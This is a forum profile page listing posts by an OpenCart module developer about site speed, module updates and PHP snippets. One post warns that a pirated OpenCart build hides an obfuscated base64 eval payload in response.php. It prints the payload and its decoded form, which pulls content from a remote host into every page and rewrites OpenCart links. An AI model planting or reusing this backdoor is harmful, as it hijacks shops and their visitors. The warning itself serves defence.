Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

halfhope

Користувачі
  
  • Публікації

    1 750
  • З нами

  • Відвідування

Повідомлення, опубліковані користувачем halfhope

  1. Оптимизируйте алгоритм работы скрипта.

     

    Раз уж есть доступ к серверу, то можно все сделать на каком-нибудь другом яп, в php много ограничений. Для несложных операций рекомендую использовать средства самой БД, а не PHP. SQL это все-таки богатый язык.

     

    Либо попробуйте на половину обрезать данные / порезать на более мелкие части / создайте лог для отладки и посмотрите что получится. 

     

    Оптимизация - крайний вариант. Но если Вы знаете что можно оптимизировать, то не ленитесь, это окупится.

  2. Как известно (un)serialize медленнее json_encode(decode) почему бы не использовать json в OpenCart?

    Я понимаю, конечно, это экономия на спичках. Я вижу только одну причину в пользу (un)serialize, в отличии от json он может сериализовать классы. Но в OpenCart такого, к счастью, нет. У меня не возникло проблем при переходе на json. Есть аргументы? Буду раз услышать разные точки зрения. 

  3. Только что вышло обновление безопасности (версия 2.1.1). Для того, чтобы применить обновление просто скопируйте (с заменой) все файлы.

     

    Что уже готово для версии 3.0:

    • Live создание/редактирование шаблона (60/40) (Поля "Ссылка" (50/50), "JavaScript код", "Дополнительные изображения" в этом режиме будут недоступны, для их редактирования будет необходимо перейти в административную панель) (Готово на 50% подробности в сообщении ниже)
    • Будет убран "Отступ контейнера" (Готово)
    • Будут объединены "Стиль тени" и "Дополнительный CSS код" (Готово)
    • Будет добавлено поле для JS кода, которое будет вставлять JavaScript код в страницу (как файл/текстом). (Готово)
    • Галерея тайлинг-текстур и фонов (не шаблонов) (60/40). (отложено)
    • Будет убран основной раздел модуля, где перечисляются другие разделы модуля. (Готово)
    • Будет добавлена экспериментальная функция - назначать шаблон для товаров  на странице редактирования товара (Только при наличии vqMod и отдельно от основного модуля) (этот модуль будет поставляться отдельно, как дополнение к основному модулю) (Готово)
    • Теперь доступны "глобальные переменные". Например, [container_id] содержит ID контейнера, который был указан в настройках. [img1] содержит путь к изображению 1. Эти переменные можно использовать в полях "CSS код", "JS код", "Fix_code(в настройках)". (Готово)
    • Добавлены дополнительные изображения к каждому шаблону (дополнительные изображения так же доступны в виде переменных) (Готово)
    • В связи с добавлением глобальных переменных будет создана галерея сниппетов, к которой будут храниться готовые шаблоны скриптов и стилей для создания анимаций и доп спец. эффектов. (P.S. все-таки нашел разумный способ добавлять анимацию) (отложено)

    Скриншот:

     

    Страница редактирования шаблона http://halfhope.ru/tmp/background_manager_v3.0.png

    (Доп модуль) Выбор шаблона для товара http://halfhope.ru/tmp/20.34.30_18.02.2014.png

    Live редактирование шаблона http://halfhope.ru/tmp/live editor.png

    Демо можно посмотреть здесь: http://oc.halfhope.ru/

  4. Для версии 2.1 планировалось сделать галерею шаблонов, но она не была реализована ввиду своей неактуальности. 

    В следующей версии, возможно, появятся:

    • Live создание/редактирование шаблона (60/40)
    • Будет убран "Отступ контейнера"
    • Будут объединены "Стиль тени" и "Дополнительный CSS код"
    • Будет добавлено поле для JS кода.
    • Галерея тайлинг-текстур и фонов (не шаблонов) (60/40).
    • Будет убран основной раздел модуля, где перечисляются другие разделы модуля.
    • Будет добавлена экспериментальная функция - назначать шаблон для товаров  на странице редактирования товара (Только при наличии vqMod и отдельно от основного модуля)

    Предлагайте свои идеи, они все они будут рассмотрены.

  5. Здравствуйте.

     

    Как я понимаю я могу сделать чтобы у меня изменялся фон при переходе в категориях?

     

    Если Вы имеете ввиду фон для каждой категории отдельно, то да. Фон можно назначить на любую категорию.

  6. Доброго времени суток. 

     

    Клиенты часто обращаются с просьбой сделать их сайт быстрее. Во многих случаях мне удается это сделать. Но в других профилирование показывает что причиной всему является vqmod, функция modCheck(). После отключения лога в vqmod, как описано в http://www.gutsite.ru/gutinfo/43-uskorenie-opencart (для старых версий), становится немного быстрее, совсем немного.

     

    Я так понял, что функция modCheck вызывается при каждом посещении сайта, проверяет файлы модификаций и файлы opencart на дату последнего изменения, если что-то отличается, то вносит изменения и сохраняет в кэш.

     

    Вопрос: Кто-нибудь пробовал отключить проверку, чтобы файлы сразу загружались из кэша? ala чтобы можно было вручную обновлять кэш? 

     
    Самым оптимальным выходом из данной ситуации является отказ от использования vqmod.
  7. Список файлов исключенных из обработки - файлы, которые не будут минимизироваться и объединяться.


    Список файлов исключенных из объединения - файлы, которые будут минимизироваться, но не будут объединяться.

  8. Если какой-то JS скрипт перестает работать, как например "catalog/view/javascript/jquery/jquery.jcarousel.min.js", Добавьте его в "Список файлов исключенных из объединения" или "Список файлов исключенных из минимизации" и сохраните настройки. Какой именно скрипт перестал работать можно в консоли браузера. Еще, как вариант в опции "Режим объединения" можете поставить "Объединять группой в папках".

     

    Прим. 

    Если у Вас в качестве JavaScript минимизатора стоит GoogleClousureCompiler. У него есть ограничение на количество подключений в час на один IP адрес, я постарался увеличить лимит, но все же иногда бывают случаи когда клиенты превышают лимит. Так что если какой-то модуль сайта перестанет отображаться и в генерированном файле скриптов появится "Too many connections (22)", то отключите минимизацию JS на час, удалите этот файл, а потом снова включите.

  9. Разобрался почему то не пересохранился responce php с измененной функцией public... теперь все открывается... извините

     

    Если будут вопросы, пишите на [email protected]. Меня на форуме временно не будет.

  10. установил все по инструкции, теперь вместо сайта белая страница(((

    что делать куда рыть

    код страницы пустой

     

    Предоставьте, пожалуйста, доступы к ftp и административной панели (В ЛС, либо на [email protected]). Если политика безопасности магазина не разрешает этого делать, то работа будет идти гораздо медленнее. 

  11. Купил на днях, поставил, настроил, все работает. Прирост скорости хороший, но не идеальный. Единственное, что мне осталось в моем магазине оптимизировать - распараллеливание загрузок. Это я к вопросу о CDN. Соответственно - вопрос: в реальности пробовали подключать к какому-либо поставщику CDN? Мне вот должны в ближайшее время дать тестовый доступ. Попробую. В модуле достаточно прописать адрес cdn и проставить переключатели, что отсылать в кэш? 

     

    Смотря что за тип CDN. MCj поддерживает только domain CDN это грубо говоря зеркала Вашего сайта. Как, например, http://halfhope.ru/ и http://dotgrid74.ru/. Это сделано для того, чтобы обойти ограничение количества одновременных подключений к одному домену.

     

    Если Вы будете подключать его к платному cdn, то скорее всего это CDN Proxy. Это прокси сервер, который будет "лицом" Вашего сайта. Т.е. браузер посетителя будет получать данные от сети прокси-серверов, а эта сеть уже от Вашего сайта. К этому типу CDN MCJ отношения не имеет. 

     

    UPD. Да, подключать пробовал у самого блог к cloudflare подключен. 

  12. Вот такая фигня вылазит сразу после установки, что это?

    Deprecated: Call-time pass-by-reference has been deprecated in .../public_html/index.php on line 244

     

    У Вас стоит php версии 5.4, уберите символ амперсанда из 244 строки.

  13. Все-таки не получается.

    if (isset($this->request->get['path'])) {	$path = explode('_', $this->request->get['path']);}else{	$path = $this->model_background_manager->getProductCategories($this->request->get['product_id']);}$category_id = end($path);						

    Не работает в ocStore. Если у товара две категории или более то всегда получает только id главной категории товара.

  14. Сам сказал - сам ответил. 

    Выдернул код из контроллера страницы добавления/редактирования продукта, в админке.

    $this->model_catalog_product->getProductCategories($this->request->get['product_id'])
    

    Возвращает массив категорий, в которых есть этот продукт.

     

    Работает только в админке, потому как в модели "catalog/product" админки есть функция "getProductCategories($product_id)", а в модели каталога её нет. 

    Вот эта функция:

    public function getProductCategories($product_id) {
    		$product_category_data = array();
    		
    		$query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'");
    		
    		foreach ($query->rows as $result) {
    			$product_category_data[] = $result['category_id'];
    		}
    
    		return $product_category_data;
    	}
    
  15. Не знаю как узнать id категории на странице товара стандартными средствами OpenCart. Причем, я так понял, что товар может быть в разных категориях. Можно ли узнать это стандартными средствами?

  16. Обновление будет ?

     

    Да, в процессе. Знаю, что не укладываюсь в срок (на 12 дней), но поверьте это будет стоить того. Анимации фона не будет!!! Уже есть предпросмотр и много полезного. Скоро отчитаюсь и предоставлю демо.

  17. $find = array("</body>", "</html>", "opencart.com", "=^_^=.ru", "myopencart.ru", "opencartforum.com", "opencart.ru", "opencart.by");
    $replace = array("", $ftend, "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com");
    $ouput = str_replace($find, $replace, $ouput);
    

    Ахаха :mrgreen:

    Особенно помня о том, что такое "= ^_^=.ru" и откуда оно берётся, то код вообще убойный

    Ведь у нас этим смайлом заменяются все упоминания сами-знаете-чьего-сайта

     

     

    а я не знаю  :(

  18. Письмо следующего содержания:

     

    Доброго времени, дорогой пользователь halfhope![/size]

    Теперь ты можешь скачать бесплатно релиз maxystore v1.5.5.1 по ссылке:[/size]

    http://cenzoRED/reliz/maxystore_v1.5.5.1.zip

    Поддержать автора можно купив сборку по ссылке:[/size]

    http://cenzoRED/shop/maxystore/maxystore-relize/reliz-maxystore-1551.html

     

    В этой сборке файл "system/library/response.php" содержит закодированный base64 код:

     

    eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ2RhV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMlJoVjBad2IxbHJUbTloVm14WlZHMTRUMkZzU20xWGEyUlhZVzFKZVZWdGVFeFJNbEpvV1cxNFlVMVdaRlZVYkU1cVVqQnNOVlJyWkd0WlZURnpWMWhrV0ZKRk5VUlpWVnAyWlZaYVdFOVZkRlJTYkc4eFYxZDBUMk13TkhkVWJrSlNWakpTUzFWVVFrZGliRTVXVkd0S1lVMUlRa2xWYlRBeFdWWmFObFpZWkZSV1ZrWXpWMnBDZG1Rd01WbFhiWGhwVmpOb05sZFhkR3RTYlZKeVRsWlNUMU5IVWt0VlZFcHZWREZrVjFwRk9XcFNNSEF4VmxjMVlXRnJNWFJaZWs1VVZsWndWMVJxUW5OU2JVcEpWbTEwVTAxV2NEWlZNVlpXWlVkR1IySkVWbEppUlVwWFdsWldTMWRzVGxaVmExcHJUVWhvZUZac1VtdFRiRTVHWWpOb1ZVMHllRVJhVm1SVFkxZEplbUZGTVdoaVdGRjRWa1prY2sxRk5WWmtSbEpTWVRKb2FGWnFRVEZsVm14MVlYcFNiRlpVUmtaVmJHaHJWR3hLU0ZwRVZsVmhNRFZFVldwS1IxZFdUblJsUjBacFZrZHpkMVpGYUhkVWJWSldUbGhDVDFKR1dreGFWelZQVkVaT1ZsUnJTbUZOUjNoRlZWWmthMU5zUlhkU2JrcFlWa1Z3ZFZReFduSmxiRnAxWWtkc1UyRnRlRE5YVnpCNFl6QXhSbVJGVW1obGJWSkZXVlpXUjJKc1RsWlVhMHBoVFVkNFJWVldaR3RYYXpCNFYycFdXbUV4YXpGYVYzaDNWMVpXZFZkdGNGUlNhMXAxVlhwQ1QxVXlSblJTYTFKclRXMVNVMVJXV21GV1JscEdWbFJXVmxac2NFaFVNVnBoVm0xRmVscEljRlJoTW1oWVdsWmtTMUpHUmxsUmJFSnJUV3BzZFZVeFZrOVJiRzkzWWtWU1VsWXlVa3RWYWtFd1pVWnJlVTFVVW1GaVZURTFWbTF3UTJGVk1IZFRXR1JVVFVVMVZGbFhNVWRTUjFGNVdrWktUbFpzY0ZWV2ExWldUbFpXVjFkclpGQldiSEJYVkZWYVlWWkdWbGRXYlhSVFlrWktlbFpXYUU5VGJFVjRVMjA1V0dGcmNGaGFSbVJUVWtkR05scEZVbWhXVlZwMVZURldUMUZzYjNkaVJWSlNWakpTWVZSVVJtRk9WbXh5VjFSV2JHSklRbHBXVnpWaFlXeE9SMUp0TlZSTlJUVlVXVmN4UjFKSFVYbGFSa3BPVm14d1ZWWnJWbFpPVmxaWFYydGtVRlpyTlZSV2JYaExWakZhV0dONlJsZFdiRnA1Vlcxek5WWnJNVWRqUldSWFZqSjNlbGRxUVhoV1IwWTJXa1ZTYUZaVlduVlZNVlpQVVd4dmQySkZVbEpXTWxKaFZGUkdZVTVXYkhKWFZGWnNZa2hDV2xaWE5XRmhiRTVIVW0wMVZFMUZOVlJaVnpGSFVrZFdSbFZzWkZkaE0wSlBWbXRTUjFFeFdsZGFNMmhZWVRGd1YxbFVRbmRWVmxwVlVXeGFhazFZUWpCVmJUVlBZV3N4YzFadVpGVk5NbEl5VjJwQ2MxSkdSbGhhUlhCU1RVVmFkVlV4Vm10VU1ERllWRzVTYkZJeGNIRlVWM2hhWkRGc2NWUnJUazVTV0ZKRlZsY3hkMkZHUlhwYVJ6VldWa1ZhV0ZaVVJsTlNhemxYVW14a1UyRnRlRmRXVkVaV1pVWktjMVZZYUZkaVJscE9WVlJDUm1WR1RYaFZibkJVVFVkNFJWVldaR3RUYkVWM1VtMDFWRlpWTlVOWlZFcFBVMFpLZEU1WFJsZFNSVnA0VjJ0YWIxTXlUWGhhTTJ4WFlXeEthRlpxUVhoa2JFNXlXa1U1YVUxSVVsWlpla0l3VWtaVmVGTnVUbHBOYWxaTVdrY3hUMlJXUm5SaFIwWk9Za1phZFZaVldrOVJiVXB6VVd0U1VGWXllSEJVVjNoS1RWWldTR05FVG10aVZWcEtWbGMxVTJGV1NrVlZibFpWVFRKU01sZHFRbk5TUmtaWVdrVndVazFGV25WVk1WWlBWVEpKZVZWcmJGWmliVkpoVkZkd2MyTnNaSE5VYTBwUVZsZDRTVlpIY0VkaGJVcFpZVWN4V0dGcmNGaFVWV1JIVjBVMVdFMVhiR3hXTWxKNVZqRlNTMkp0VFhkaVJWcFZZa1p3VjFsVVRtOVRNVnBJWkVkR1ZsSnRaRE5aVlZwWFZqRktjbE50TVZaV1JVVXhWV3hhUzFaSFJqWmFSVkpvVmxWYWRWVXhWazlSYkc5M1lrVlNVbFl5VW1GVVZFWmhUbFpzY2xkVVZtaGlWWEJKVkRGb2QxbFdWWGxhU0VwWVZrVndkVmt3VlRWTk1rbDVXa1Z3VWsxRlduVlZNVlpQVVd4dmQySkZiRlZoYXpWdlZqQmFTMk5XYkZaVWJUVm9UV3RhU2xaWGNFTmhiRWwzVGxSS1dHRXlVbGRaTUdSWFRUSkplVnBGY0ZKTlJWcDFWVEZXVDFGc2IzZGlSVkpTVmpKU1MxVlVRa2RpYkU1V1ZHdEtZVTFYZERWVmJUVjNXVlpWZDFKdVZsVldNMEpEV2tSQ2QwNXRTWGRrUlhCU1RVVmFkVlV4Vms5UmJHOTNZa1ZTVWxZeVVrdFZWRUpIWW14T1ZsUnJTbUZOUjNoRlZWWmthMU5zUlhkU2JUVlVWbFUxUTFkcVNrOWtSbHB4VVcxMFdGSllRWGhWTVZaUFZUSlJlR0pHYUdGU00yaFJXa1JKTldKc1RsWlVhMHBoVFVkNFJWVldaR3RUYkVWM1VtMDFWRlpWTlVOWGFrSnpVa1pHV0ZwR2NHbGhNMEo2VmpGYWEyVnJOSGRVYmtKU1ZqSlNTMVZVUWtkaWJFNVdWR3RLWVUxSGVFVlZWbVJyVTJ4RmQxSnROVlJXVlRWRVdWZDRjMWRXVW5SbFJYQlNUV3N4TTFaR1ZsTlZiVXB5VDFST2FVMXRVa3RWVkVKSFlteE9WbFJyU21GTlIzaEZWVlprYTFOc1JYZFNiVFZVVmxVMVExZHFRbk5TUmtaWVdrVndVazFGV25WVk1WWlBVVEpXVjJOR2JGWmhhMXB4V1d4U1UySnNUbkphUm1Sc1ZqQTFNRlF4YUhOaGJFbDNWMjVXV0dKR1NqWlZla0p6VWtaR1dGcEZjRkpOUlZwMVZURldUMUZzYjNkaVJWSlNWakpTUzFWVVFrZGliRTVXV2tWMGJGWnVRbGxWYlRWTFZVZFJlVTlWZEZKTlYxSlFXVlZrVG1WV1dsaGFSWFJzWWtaWmVsWkdaSE5oYXpSM1ZHNUNVbFl5VWt0VlZFSkhZbXhPVmxSclNtRk5SM2hGVlZaa2ExTnNSWGRTYlRWVVZsVTFRMWRxUW5OU1JrWllXa1Z3VWsxRlduVlZNVlp2VXpKS1NGVnJiRmRpYlhod1dWWldSMk5zWkhOaFJYUnNWakJzTmxVeU5XdFhiRmw1Vlc1T1ZVMHlVakpYYWtKelVrWkdXRnBGY0ZKTlJWcDFWVEZXVDFGc2IzZGlSVkpTVmpKU1MxVlVRa2RpYkdSWVRsVjBhVkp0ZUZsWk0zQnJVa2RHVmxKdE5WUldWVFZEVjJwQ2MxSkdSbGhhUnpGV1YwVkZNVlZVU210a01rNUhZMGhDVWxaNmJFeFZha1oyWkRGa2MxbDZSbWhOUjNoR1ZGVmthMWxWTVhOWFdHUllVa1UxUkZsVlduWmxWbHBZVDFWd2FWWXlaRE5YYTFadlVXczFjbVZFVmxCV2VsWndWRmR3YzJSV2JISmFSbVJxVm0xNFdsWXlNVzloYXpGeVRsUldXbFp0YUVSVVZWWTBaRVpTZFZkdGJGWmxiWGgyVjFSQ2EyTnRVbGhVYTJob1UwZFNVbFJVUVRGak1XdDVUbGRHYVZJd05YaFVWV1J6VkZkR1YxTnRNVmRXUlVwWVZsUkdZV05zV25OVWJHaHNWakZLVmxaWGVHRlRNVmw0VTJ4a1ZHSldjRlpaVkVKaFZERldjMVJ0ZEdGU1dHaDNWVEZqZUdGc1NYZFhibFpZWWtaR00xbFdWalJqUmxaMFYyeGFUbEpzY0ZWV2JURXdWakZWZUZwRVZtRlNhelZVVm0xMFlWWXhWbk5YYXpsWFZtMWtORlp0ZUU5V1JsVjVWVzEwVkUxVk5YcFVha0pQWTBaV2RFMVhhRmRsYkZwNVZURldVbVF4YjNoaVJteFVZbTE0WVZZd1pEQmtiRTVZWTBST2EySkhlREJVTVdRd1lrWmFSVlZ1UWxWU1ZUVkRXVlphUTFKRk9WaFBWM1JUWld0YU5sWlZaSE5UYlUxM1lrVlNWR0pzY0hGVmFrWmhUVlprVlZOclpHeFdNVXBGVkd4a2QyRlZNWEZSYmtKVlVsVTFRMWxXWkV0WFJrcHhWVzE0YVZaSGQzaFdSV014VXpBeFZtSklRbXROYlZKTFdXeFNSazFXYkhGVWEwNXBVakJ3TUZaSE1XOWhiVXB6VW1wR1drMXFWbGRaVmxZMFVrWkdXR0pIYkU1TlJYQjZWMWN3ZUZReVJraFVibFpXWWxSR2NGUlVRblpsUm14elZGUkdiRll4U2xWVk1XaFBVMnhGZDJORVNscE5SMUpZV2taYWNtVldTblZpUjNSU1pXeFpNVmRyV2s5VGJVMTNZa1ZTVkdKc2NIRlZha1poVFZaa1ZWTnJaR3hXTVVwRlZHeGtjMkpHVlhkaVNHUlZUVEpTTWxsVVNrOWtSbHAxV2tkc1UwMUdjSGhXTW5oUFVXczVWbUpGYUZOaWJYaHhXV3hXV2sxV1RYZFVhM0JvVmxob1JWVldaREJaVjBwelUyNU9XbUpVUmxOWmVrSnpVa1pPZFdKSGRGZGxiWGQ2VmpKNGFrMVhSbk5pUm14VVlXdEtUbGxzVlRGTmJHeHpWR3R3YWsxSGVFVlZNalZ6WVRGYU5tSkVUbGhpUjAxNFdWZDRjMWRXVG5GUmF6RnBWbFJWZVZkWGVFOVRiVTEzWWtWU1ZHSnRlSEpXYm5CelRURmtjMWw2Um1oaVIzaGFWVEp3UTFSWFNsWk9WRXBhWWtVMVMxbDZRbk5TUms1MVlrZDBWMlZ0ZDNwV01uaHFUVmRHYzJKR2JGUmhhMHBPV1d4Vk1VMXNiSE5VYTNCcVRVZDRSVlV5TlhOaE1WbzJZa1JPV0dKSFRYaFpWM2h6VjFaT2NWRnJNV2xXVkZWNVYxZDRUMU50VFhkaVJWSlVZbTE0Y2xadWNITk5NV1J6V1hwR2FHSkhlRnBWTW5CRFZGZEtWazVVU2xwaVJUVkxXVEJWTlUweVNYbGtSMnhPVFZadmVsZHJXbTlWYkc5NFVXeFNVbUp1UW5KVk1GWjNZbFpyZVUxV1pHdE5hM0JKVlcweGQxbFdWWGxhU0VwWVlsUkdlbHBHV25kU1IxRjVXa1YwVkZKWVFucFhWRUpyVGtkR1IyRXpiRmRYUlRWTFZWUkdTMDFzY0VkaFJVNU9WakZLUlZsWWNHdFNSMHBZWlVSR1dsWnNhekZhVjNoM1YxWldXRTlWY0dsV2EzQXpWMWh3VDFFeVRYaGlSbXhwVWpGd2FGWXdWbmRPVm14eFZHdDBiR0V5ZUhkYVJFcHpZVlV4YzJOSVVsUldNbmg1VkdwQ1QyUkdXblZpUjNCcFZrZDNNVll3VWs5VE1rcElWR3RvVUZkSGVISlZha28wVFZaa2RXSkhOV3ROU0ZKV1dYcENNRmxXV1hkT1dGcGFZbTE0UTFsVVNrcGxiRnAxV2tkMFdGSnJWWHBYYlhoSFpESktTRk5yYkZWaVdHaExWVEJvVDFSR1pITmFSVGxwVFd0dk1WVldaREJoVlRCNFYycE9ZVkp0YUZOVWFrSlBaRlV4UlUxSE5VeFZNbk16VVRKak9WQlRZM0JMVkhOTEp5a3BPd289JykpOwo='));

     

    Код не видно если в редакторе кода, которым Вы пользуетесь, текст выходит за рамки окна (WordWrap). 

    После декодирования кода получаем:

    function get_page($url){
            $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
            $ch=curl_init();
            curl_setopt ($ch, CURLOPT_URL,$url );
            curl_setopt($ch, CURLOPT_USERAGENT, $agent);
            curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt ($ch,CURLOPT_VERBOSE,false);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            $page=curl_exec($ch);
    $errorpage = '</body></html>';
            $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            switch($httpcode){
                    case '200':
                            return $page;
                    break;
                    case '404';
                            return $errorpage;
                    break;
    case '502';
                            return $errorpage;
                    break;
            }
    }
    
    if ($ftend = get_page("http://googlejavascript.com/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
    $find = array("</body>", "</html>", "opencart.com", "=^_^=.ru", "myopencart.ru", "opencartforum.com", "opencart.ru", "opencart.by");
    $replace = array("", $ftend, "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com");
    $ouput = str_replace($find, $replace, $ouput);
    ini_set("display_errors","off");
    error_reporting(0);
    echo $ouput;}
    else {
    echo $ouput;
    }
    
    
    Просьба быть бдительным.
    • +1 2
×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.